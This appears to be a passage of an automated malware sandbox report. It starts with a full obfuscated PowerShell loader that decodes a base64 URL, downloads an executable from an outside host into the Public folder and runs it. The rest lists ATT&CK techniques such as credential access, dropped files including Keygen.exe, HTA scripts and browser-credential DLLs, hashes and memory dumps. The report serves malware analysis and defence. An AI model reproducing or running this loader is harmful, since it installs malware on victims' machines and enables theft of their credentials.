"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4592

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1E7A.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\bwa.exe

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C:\Users\Public\bwa.exe

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C:\Users\Public\bwa.exe

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C:\Users\Public\fkw.exe

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C:\Users\Public\fkw.exe

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C:\Users\Public\fkw.exe

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C:\Users\Public\ufn.exe

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C:\Users\Public\ufn.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/948-196-0x0000000000060000-0x0000000000061000-memory.dmp

Filesize
4KB

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memory/948-187-0x0000000000000000-mapping.dmp

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memory/948-190-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

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memory/1264-143-0x0000000000000000-mapping.dmp

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memory/1284-0-0x0000000000000000-mapping.dmp

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memory/1292-151-0x0000000000000000-mapping.dmp

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memory/1344-15-0x0000000000000000-mapping.dmp

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memory/1648-30-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

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memory/1648-26-0x0000000000000000-mapping.dmp

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memory/1648-53-0x0000000008030000-0x0000000008031000-memory.dmp

Filesize
4KB

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memory/1856-2-0x0000000000000000-mapping.dmp

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memory/1856-3-0x0000000000000000-mapping.dmp

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memory/1988-175-0x000000000041A684-mapping.dmp

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memory/2068-35-0x0000000006CE0000-0x0000000006CE1000-memory.dmp

Filesize
4KB

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memory/2068-99-0x000000000A010000-0x000000000A011000-memory.dmp

Filesize
4KB

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memory/2068-12-0x0000000000000000-mapping.dmp

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memory/2068-20-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

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memory/2068-37-0x0000000006D50000-0x0000000006D51000-memory.dmp

Filesize
4KB

Download
memory/2068-39-0x0000000007700000-0x0000000007701000-memory.dmp

Filesize
4KB

Download
memory/2068-49-0x0000000007460000-0x0000000007461000-memory.dmp

Filesize
4KB

Download
memory/2068-97-0x0000000009020000-0x0000000009021000-memory.dmp

Filesize
4KB

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memory/2068-98-0x0000000008A10000-0x0000000008A11000-memory.dmp

Filesize
4KB

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memory/2176-7-0x0000000000000000-mapping.dmp

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memory/2656-10-0x0000000000000000-mapping.dmp

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memory/2668-164-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2668-160-0x000000000043FCC3-mapping.dmp

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memory/3044-9-0x0000000000000000-mapping.dmp

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memory/3104-17-0x0000000000000000-mapping.dmp

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memory/3688-77-0x0000000009C50000-0x0000000009C51000-memory.dmp

Filesize
4KB

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memory/3688-59-0x0000000008490000-0x0000000008491000-memory.dmp

Filesize
4KB

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memory/3688-33-0x0000000007310000-0x0000000007311000-memory.dmp

Filesize
4KB

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memory/3688-13-0x0000000000000000-mapping.dmp

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memory/3688-24-0x00000000075F0000-0x00000000075F1000-memory.dmp

Filesize
4KB

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memory/3688-19-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

Download
memory/3688-79-0x00000000091F0000-0x00000000091F1000-memory.dmp

Filesize
4KB

Download
memory/3688-21-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/3844-118-0x000000000043FCC3-mapping.dmp

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memory/3844-122-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/3844-117-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/3940-27-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

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memory/3940-23-0x0000000000000000-mapping.dmp

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memory/3956-163-0x0000000000417A8B-mapping.dmp

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memory/3956-166-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4072-18-0x0000000000000000-mapping.dmp

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memory/4136-119-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4136-127-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4136-123-0x0000000000417A8B-mapping.dmp

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memory/4168-124-0x000000000041A684-mapping.dmp

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memory/4168-120-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4168-128-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4308-205-0x00000000049C0000-0x00000000049C1000-memory.dmp

Filesize
4KB

Download
memory/4316-58-0x0000000000000000-mapping.dmp

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memory/4384-204-0x0000000000000000-mapping.dmp

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memory/4404-63-0x0000000000000000-mapping.dmp

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memory/4404-66-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

Download
memory/4472-65-0x0000000000000000-mapping.dmp

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memory/4592-69-0x0000000000000000-mapping.dmp

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memory/4592-74-0x0000000070140000-0x000000007082E000-memory.dmp

Filesize
6.9MB

Download
memory/4808-154-0x0000000000000000-mapping.dmp

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memory/4964-102-0x0000000000000000-mapping.dmp

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memory/5044-107-0x0000000000000000-mapping.dmp

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memory/5060-110-0x0000000000000000-mapping.dmp

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memory/5072-197-0x0000000000000000-mapping.dmp

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